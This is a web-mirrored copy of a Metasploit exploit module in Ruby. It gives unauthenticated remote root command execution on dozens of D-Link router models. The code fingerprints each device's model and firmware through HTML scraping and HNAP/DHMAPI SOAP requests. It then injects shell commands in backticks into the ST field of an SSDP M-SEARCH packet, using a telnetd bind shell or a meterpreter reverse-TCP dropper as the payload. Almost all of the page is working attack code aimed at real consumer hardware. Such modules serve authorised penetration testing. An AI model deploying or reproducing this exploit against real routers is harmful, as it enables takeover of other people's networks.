Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/linux/upnp/dlink_upnp_msearch_exec.rb
32951 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ExcellentRanking
8
9
include Msf::Exploit::Remote::HttpClient
10
include Msf::Exploit::CmdStager
11
include Msf::Exploit::Remote::Udp
12
prepend Msf::Exploit::Remote::AutoCheck
13
14
def initialize(info = {})
15
super(
16
update_info(
17
info,
18
'Name' => 'D-Link Unauthenticated Remote Command Execution using UPnP via a special crafted M-SEARCH packet.',
19
'Description' => %q{
20
A command injection vulnerability exists in multiple D-Link network products, allowing an attacker
21
to inject arbitrary command to the UPnP via a crafted M-SEARCH packet.
22
Universal Plug and Play (UPnP), by default is enabled in most D-Link devices, on the port 1900.
23
An attacker can perform a remote command execution by injecting the payload into the
24
`Search Target` (ST) field of the SSDP M-SEARCH discover packet.
25
After successful exploitation, an attacker will have full access with `root` user privileges.
26
27
NOTE: Staged meterpreter payloads might core dump on the target, so use stage-less meterpreter payloads
28
when using the Linux Dropper target. Some D-Link devices do not have the `wget` command so
29
configure `echo` as flavor with the command set CMDSTAGER::FLAVOR echo.
30
31
The following D-Link network products and firmware are vulnerable:
32
- D-Link Router model GO-RT-AC750 revisions Ax with firmware v1.01 or older;
33
- D-Link Router model DIR-300 revisions Ax with firmware v1.06 or older;
34
- D-Link Router model DIR-300 revisions Bx with firmware v2.15 or older;
35
- D-Link Router model DIR-600 revisions Bx with firmware v2.18 or older;
36
- D-Link Router model DIR-645 revisions Ax with firmware v1.05 or older;
37
- D-Link Router model DIR-815 revisions Bx with firmware v1.04 or older;
38
- D-Link Router model DIR-816L revisions Bx with firmware v2.06 or older;
39
- D-Link Router model DIR-817LW revisions Ax with firmware v1.04b01_hotfix or older;
40
- D-Link Router model DIR-818LW revisions Bx with firmware v2.05b03_Beta08 or older;
41
- D-Link Router model DIR-822 revisions Bx with firmware v2.03b01 or older;
42
- D-Link Router model DIR-822 revisions Cx with firmware v3.12b04 or older;
43
- D-Link Router model DIR-823 revisions Ax with firmware v1.00b06_Beta or older;
44
- D-Link Router model DIR-845L revisions Ax with firmware v1.02b05 or older;
45
- D-Link Router model DIR-860L revisions Ax with firmware v1.12b05 or older;
46
- D-Link Router model DIR-859 revisions Ax with firmware v1.06b01Beta01 or older;
47
- D-Link Router model DIR-860L revisions Ax with firmware v1.10b04 or older;
48
- D-Link Router model DIR-860L revisions Bx with firmware v2.03b03 or older;
49
- D-Link Router model DIR-865L revisions Ax with firmware v1.07b01 or older;
50
- D-Link Router model DIR-868L revisions Ax with firmware v1.12b04 or older;
51
- D-Link Router model DIR-868L revisions Bx with firmware v2.05b02 or older;
52
- D-Link Router model DIR-869 revisions Ax with firmware v1.03b02Beta02 or older;
53
- D-Link Router model DIR-880L revisions Ax with firmware v1.08b04 or older;
54
- D-Link Router model DIR-890L/R revisions Ax with firmware v1.11b01_Beta01 or older;
55
- D-Link Router model DIR-885L/R revisions Ax with firmware v1.12b05 or older;
56
- D-Link Router model DIR-895L/R revisions Ax with firmware v1.12b10 or older;
57
- probably more looking at the scale of impacted devices :-(
58
},
59
'License' => MSF_LICENSE,
60
'Author' => [
61
'h00die-gr3y <h00die.gr3y[at]gmail.com>', # MSF module contributor
62
'Zach Cutlip', # Discovery of the vulnerability
63
'Michael Messner <[email protected]>',
64
'Miguel Mendez Z. (s1kr10s)',
65
'Pablo Pollanco (secenv)',
66
'Naihsin https://github.com/naihsin'
67
68
],
69
'References' => [
70
['CVE', '2023-33625'],
71
['CVE', '2020-15893'],
72
['CVE', '2019-20215'],
73
['URL', 'https://attackerkb.com/topics/uqicA23ecz/cve-2023-33625'],
74
['URL', 'https://github.com/zcutlip/exploit-poc/tree/master/dlink/dir-815-a1/upnp-command-injection'],
75
['URL', 'https://medium.com/@s1kr10s/d-link-dir-859-unauthenticated-rce-in-ssdpcgi-http-st-cve-2019-20215-en-2e799acb8a73'],
76
['URL', 'https://shadow-file.blogspot.com/2013/02/dlink-dir-815-upnp-command-injection.html'],
77
['URL', 'https://research.loginsoft.com/vulnerability/multiple-vulnerabilities-discovered-in-the-d-link-firmware-dir-816l/'],
78
['URL', 'https://github.com/naihsin/IoT/blob/main/D-Link/DIR-600/cmd%20injection/README.md']
79
],
80
'DisclosureDate' => '2013-02-01',
81
'Privileged' => true,
82
'Targets' => [
83
[
84
'Unix Command',
85
{
86
'Platform' => 'unix',
87
'Arch' => ARCH_CMD,
88
'Type' => :unix_cmd,
89
'DefaultOptions' => {
90
'PAYLOAD' => 'cmd/unix/bind_busybox_telnetd'
91
}
92
}
93
],
94
[
95
'Linux Dropper',
96
{
97
'Platform' => 'linux',
98
'Arch' => [ARCH_MIPSLE, ARCH_MIPSBE, ARCH_ARMLE],
99
'Type' => :linux_dropper,
100
'CmdStagerFlavor' => ['echo', 'wget'],
101
'Linemax' => 900,
102
'DefaultOptions' => {
103
'PAYLOAD' => 'linux/mipsbe/meterpreter_reverse_tcp'
104
}
105
}
106
]
107
],
108
'DefaultTarget' => 0,
109
'DefaultOptions' => {
110
'RPORT' => 1900,
111
'SSL' => false
112
},
113
'Notes' => {
114
'Stability' => [CRASH_SAFE],
115
'Reliability' => [REPEATABLE_SESSION],
116
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
117
}
118
)
119
)
120
register_options([
121
OptString.new('URN', [true, 'Set URN payload', 'urn:device:1']),
122
OptPort.new('HTTP_PORT', [true, 'The HTTP port for the HTTP and SOAP requests sent to detect versions', 80])
123
])
124
end
125
126
def vuln_version?(res)
127
# checks the model, firmware and hardware version
128
@d_link = { 'product' => nil, 'firmware' => nil, 'hardware' => nil, 'arch' => nil }
129
html = Nokogiri.HTML(res.body, nil, 'UTF-8')
130
131
# USE CASE #1: D-link devices with static HTML pages with model and version information
132
# class identifiers: <span class="product">, <span class="version"> and <span class="hwversion">
133
# See USE CASE #4 for D-link devices that use javascript to dynamically generate the model and firmware version
134
product = html.css('span[@class="product"]')
135
@d_link['product'] = product[0].text.split(':')[1].strip unless product[0].nil?
136
firmware = html.css('span[@class="version"]')
137
@d_link['firmware'] = firmware[0].text.split(':')[1].strip.delete(' ') unless firmware[0].nil?
138
139
# DIR-600, DIR-300 hardware B revision and maybe other models are using the "version" class tag for both firmware and hardware version
140
@d_link['hardware'] = firmware[1].text.split(':')[1].strip unless firmware[1].nil?
141
# otherwise search for the "hwversion" class tag
142
hardware = html.css('span[@class="hwversion"]')
143
@d_link['hardware'] = hardware[0].text.split(':')[1].strip unless hardware[0].nil?
144
145
# USE CASE #2: D-link devices with static HTML pages with model and version information
146
# class identifiers: <div class="pp">, <div class="fwv"> and <div class="hwv">
147
if @d_link['product'].nil?
148
product = html.css('div[@class="pp"]')
149
@d_link['product'] = product[0].text.split(':')[1].strip unless product[0].nil?
150
firmware = html.css('div[@class="fwv"]')
151
@d_link['firmware'] = firmware[0].text.split(':')[1].strip.delete(' ') unless firmware[0].nil?
152
hardware = html.css('div[@class="hwv"]')
153
@d_link['hardware'] = hardware[0].text.split(':')[1].strip unless hardware[0].nil?
154
end
155
156
# USE CASE #3: D-link devices with html below for model, firmware and hardware version
157
# <td>Product Page&nbsp;:&nbsp;<a href='http://support.dlink.com.tw' target=_blank><font class=l_tb>DIR-300</font></a>&nbsp;&nbsp;&nbsp;</td>
158
# <td noWrap align="right">Hardware Version&nbsp;:&nbsp;rev N/A&nbsp;</td>
159
# <td noWrap align="right">Firmware Version&nbsp;:&nbsp;1.06&nbsp;</td>
160
if @d_link['product'].nil?
161
hwinfo_table = html.css('td')
162
hwinfo_table.each do |hwinfo|
163
@d_link['product'] = hwinfo.text.split(':')[1].strip.gsub(/\p{Space}*/u, '') if hwinfo.text =~ /Product Page/i || hwinfo.text =~ /Product/i
164
@d_link['hardware'] = hwinfo.text.split(':')[1].strip.gsub(/\p{Space}*/u, '') if hwinfo.text =~ /Hardware Version/i
165
@d_link['firmware'] = hwinfo.text.split(':')[1].strip.gsub(/\p{Space}*/u, '') if hwinfo.text =~ /Firmware Version/i
166
end
167
end
168
169
# USE CASE #4: D-Link devices with HTML listed below that contains the model, firmware and hardware version
170
# <table id="header_container" border="0" cellpadding="5" cellspacing="0" width="838" align="center">
171
# <tr>
172
# <td width="100%">&nbsp;&nbsp;<script>show_words(TA2)</script>: <a href="http://support.dlink.com.tw/">DIR-835</a></td>
173
# <td align="right" nowrap><script>show_words(TA3)</script>: A1 &nbsp;</td>
174
# <td align="right" nowrap><script>show_words(sd_FWV)</script>: 1.04</td>
175
# <td>&nbsp;</td>
176
# </tr>
177
# </table>
178
if @d_link['product'].nil?
179
hwinfo_table = html.css('table#header_container td')
180
hwinfo_table.each do |hwinfo|
181
@d_link['product'] = hwinfo.text.split(':')[1].strip.gsub(/\p{Space}*/u, '') if hwinfo.text =~ /show_words\(TA2\)/i
182
@d_link['hardware'] = hwinfo.text.split(':')[1].strip.gsub(/\p{Space}*/u, '') if hwinfo.text =~ /show_words\(TA3\)/i
183
@d_link['firmware'] = hwinfo.text.split(':')[1].strip.gsub(/\p{Space}*/u, '') if hwinfo.text =~ /show_words\(sd_FWV\)/i
184
end
185
end
186
187
# USE CASE #5: D-Link devices with dynamically generated version and hardware information
188
# Create HNAP POST request to get these hardware details
189
if @d_link['product'].nil?
190
xml_soap_data = <<~EOS
191
<?xml version="1.0" encoding="utf-8"?>
192
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
193
<soap:Body>
194
<GetDeviceSettings xmlns="http://purenetworks.com/HNAP1/" />
195
</soap:Body>
196
</soap:Envelope>
197
EOS
198
res = send_request_cgi({
199
'rport' => datastore['HTTP_PORT'],
200
'method' => 'POST',
201
'ctype' => 'text/xml',
202
'uri' => normalize_uri(target_uri.path, 'HNAP1', '/'),
203
'data' => xml_soap_data.to_s,
204
'headers' => {
205
'SOAPACTION' => '"http://purenetworks.com/HNAP1/GetDeviceSettings"'
206
}
207
})
208
if res && res.code == 200 && res.body.include?('<GetDeviceSettingsResult>OK</GetDeviceSettingsResult>')
209
xml = res.get_xml_document
210
unless xml.blank?
211
xml.remove_namespaces!
212
@d_link['product'] = xml.css('ModelName').text
213
@d_link['firmware'] = xml.css('FirmwareVersion').text.delete(' ')
214
@d_link['hardware'] = xml.css('HardwareVersion').text
215
end
216
end
217
end
218
219
# USE CASE #6: D-Link devices with dynamically generated version and hardware information
220
# Create a DHMAPI POST request to get these hardware details
221
if @d_link['product'].nil?
222
xml_soap_data = <<~EOS
223
<?xml version="1.0" encoding="utf-8"?>
224
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
225
<soap:Body>
226
<GetDeviceSettings/>
227
</soap:Body>
228
</soap:Envelope>
229
EOS
230
res = send_request_cgi({
231
'rport' => datastore['HTTP_PORT'],
232
'method' => 'POST',
233
'ctype' => 'text/xml',
234
'uri' => normalize_uri(target_uri.path, 'DHMAPI', '/'),
235
'data' => xml_soap_data.to_s,
236
'headers' => {
237
'API-ACTION' => 'GetDeviceSettings'
238
}
239
})
240
if res && res.code == 200 && res.body.include?('<GetDeviceSettingsResult>OK</GetDeviceSettingsResult>')
241
xml = res.get_xml_document
242
unless xml.blank?
243
xml.remove_namespaces!
244
@d_link['product'] = xml.css('ModelName').text
245
@d_link['firmware'] = xml.css('FirmwareVersion').text.delete(' ')
246
@d_link['hardware'] = xml.css('HardwareVersion').text
247
end
248
end
249
end
250
251
# check the vulnerable product and firmware versions
252
case @d_link['product']
253
when 'GO-RT-AC750'
254
@d_link['arch'] = 'mipsbe'
255
return Rex::Version.new(@d_link['firmware']) <= Rex::Version.new('1.01') && @d_link['hardware'][0] == 'A'
256
when 'DIR-300'
257
if Rex::Version.new(@d_link['firmware']) >= Rex::Version.new('2.00') && Rex::Version.new(@d_link['firmware']) <= Rex::Version.new('2.15') # hardware version B
258
@d_link['arch'] = 'mipsle'
259
return true
260
elsif Rex::Version.new(@d_link['firmware']) <= Rex::Version.new('1.06') # hardware version A
261
@d_link['arch'] = 'mipsbe'
262
return true
263
end
264
when 'DIR-600'
265
@d_link['arch'] = 'mipsle'
266
return Rex::Version.new(@d_link['firmware']) <= Rex::Version.new('2.18') && @d_link['hardware'][0] == 'B'
267
when 'DIR-645'
268
@d_link['arch'] = 'mipsle'
269
return Rex::Version.new(@d_link['firmware']) <= Rex::Version.new('1.05') && (@d_link['hardware'][0] == 'A' || @d_link['hardware'] == 'N/A')
270
when 'DIR-815'
271
@d_link['arch'] = 'mipsle'
272
return Rex::Version.new(@d_link['firmware']) <= Rex::Version.new('1.04')
273
when 'DIR-816L'
274
@d_link['arch'] = 'mipsbe'
275
return Rex::Version.new(@d_link['firmware']) <= Rex::Version.new('2.06') && (@d_link['hardware'][0] == 'B' || @d_link['hardware'] == 'N/A')
276
when 'DIR-817LW'
277
@d_link['arch'] = 'mipsbe'
278
return Rex::Version.new(@d_link['firmware']) <= Rex::Version.new('1.04') && (@d_link['hardware'][0] == 'A' || @d_link['hardware'] == 'N/A')
279
when 'DIR-818LW', 'DIR-818L'
280
@d_link['arch'] = 'mipsbe'
281
return true if Rex::Version.new(@d_link['firmware']) <= Rex::Version.new('2.04') && @d_link['hardware'][0] == 'B'
282
283
return Rex::Version.new(@d_link['firmware']) <= Rex::Version.new('1.05') && @d_link['hardware'][0] == 'A'
284
when 'DIR-822'
285
@d_link['arch'] = 'mipsbe'
286
return true if Rex::Version.new(@d_link['firmware']) <= Rex::Version.new('2.03') && @d_link['hardware'][0] == 'B'
287
288
return Rex::Version.new(@d_link['firmware']) <= Rex::Version.new('3.12') && @d_link['hardware'][0] == 'C'
289
when 'DIR-823'
290
@d_link['arch'] = 'mipsbe'
291
return Rex::Version.new(@d_link['firmware']) <= Rex::Version.new('1.00') && @d_link['hardware'][0] == 'A'
292
when 'DIR-845L'
293
@d_link['arch'] = 'mipsle'
294
return Rex::Version.new(@d_link['firmware']) <= Rex::Version.new('1.02') && (@d_link['hardware'][0] == 'A' || @d_link['hardware'] == 'N/A')
295
when 'DIR-850L'
296
@d_link['arch'] = 'mipsbe'
297
return Rex::Version.new(@d_link['firmware']) <= Rex::Version.new('1.12') && (@d_link['hardware'][0] == 'A' || @d_link['hardware'] == 'N/A')
298
when 'DIR-859'
299
@d_link['arch'] = 'mipsbe'
300
return Rex::Version.new(@d_link['firmware']) <= Rex::Version.new('1.06') && @d_link['hardware'][0] == 'A'
301
when 'DIR-860L'
302
@d_link['arch'] = 'armle'
303
return true if Rex::Version.new(@d_link['firmware']) <= Rex::Version.new('1.10') && @d_link['hardware'][0] == 'A'
304
305
return Rex::Version.new(@d_link['firmware']) <= Rex::Version.new('2.03') && @d_link['hardware'][0] == 'B'
306
when 'DIR-865L'
307
@d_link['arch'] = 'mipsle'
308
return Rex::Version.new(@d_link['firmware']) <= Rex::Version.new('1.07') && @d_link['hardware'][0] == 'A'
309
when 'DIR-868L'
310
@d_link['arch'] = 'armle'
311
return true if Rex::Version.new(@d_link['firmware']) <= Rex::Version.new('1.12') && @d_link['hardware'][0] == 'A'
312
313
return Rex::Version.new(@d_link['firmware']) <= Rex::Version.new('2.05') && @d_link['hardware'][0] == 'B'
314
when 'DIR-869'
315
@d_link['arch'] = 'mipsbe'
316
return Rex::Version.new(@d_link['firmware']) <= Rex::Version.new('1.03') && @d_link['hardware'][0] == 'A'
317
when 'DIR-880L'
318
@d_link['arch'] = 'armle'
319
return Rex::Version.new(@d_link['firmware']) <= Rex::Version.new('1.08') && @d_link['hardware'][0] == 'A'
320
when 'DIR-890L', 'DIR-890R'
321
@d_link['arch'] = 'armle'
322
return Rex::Version.new(@d_link['firmware']) <= Rex::Version.new('1.11') && @d_link['hardware'][0] == 'A'
323
when 'DIR-885L', 'DIR-885R'
324
@d_link['arch'] = 'armle'
325
return Rex::Version.new(@d_link['firmware']) <= Rex::Version.new('1.12') && @d_link['hardware'][0] == 'A'
326
when 'DIR-895L', 'DIR-895R'
327
@d_link['arch'] = 'armle'
328
return Rex::Version.new(@d_link['firmware']) <= Rex::Version.new('1.12') && @d_link['hardware'][0] == 'A'
329
end
330
false
331
end
332
333
def execute_command(cmd, _opts = {})
334
payload = "#{datastore['URN']};`#{cmd}`"
335
336
connect_udp
337
header = "M-SEARCH * HTTP/1.1\r\n"
338
header << "HOST:#{datastore['RHOST']}:#{datastore['RPORT']}\r\n"
339
header << "ST:#{payload}\r\n"
340
header << "MX:2\r\n"
341
header << "MAN:\"ssdp:discover\"\r\n\r\n"
342
udp_sock.put(header)
343
disconnect_udp
344
end
345
346
def check
347
print_status("Checking if #{peer} can be exploited.")
348
res = send_request_cgi!({
349
'rport' => datastore['HTTP_PORT'],
350
'method' => 'GET',
351
'ctype' => 'application/x-www-form-urlencoded',
352
'uri' => normalize_uri(target_uri.path)
353
})
354
# Check if target is a D-Link network device
355
return CheckCode::Unknown('No response received from target.') unless res
356
return CheckCode::Safe('Likely not a D-Link network device.') unless res.code == 200 && res.body =~ /d-?link/i
357
358
# check if firmware version is vulnerable
359
return CheckCode::Appears("Product info: #{@d_link['product']}|#{@d_link['firmware']}|#{@d_link['hardware']}|#{@d_link['arch']}") if vuln_version?(res)
360
# D-link devices with fixed firmware versions
361
return CheckCode::Safe("Product info: #{@d_link['product']}|#{@d_link['firmware']}|#{@d_link['hardware']}|#{@d_link['arch']}") unless @d_link['arch'].nil?
362
# D-link devices that still could be vulnerable with product information
363
return CheckCode::Detected("Product info: #{@d_link['product']}|#{@d_link['firmware']}|#{@d_link['hardware']}|#{@d_link['arch']}") unless @d_link['product'].nil?
364
365
# D-link devices that still could be vulnerable but no product information available
366
return CheckCode::Detected
367
end
368
369
def exploit
370
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
371
case target['Type']
372
when :unix_cmd
373
execute_command(payload.encoded)
374
when :linux_dropper
375
# Don't check the response here since the server won't respond
376
# if the payload is successfully executed.
377
execute_cmdstager({ linemax: target.opts['Linemax'] })
378
end
379
end
380
end
381
382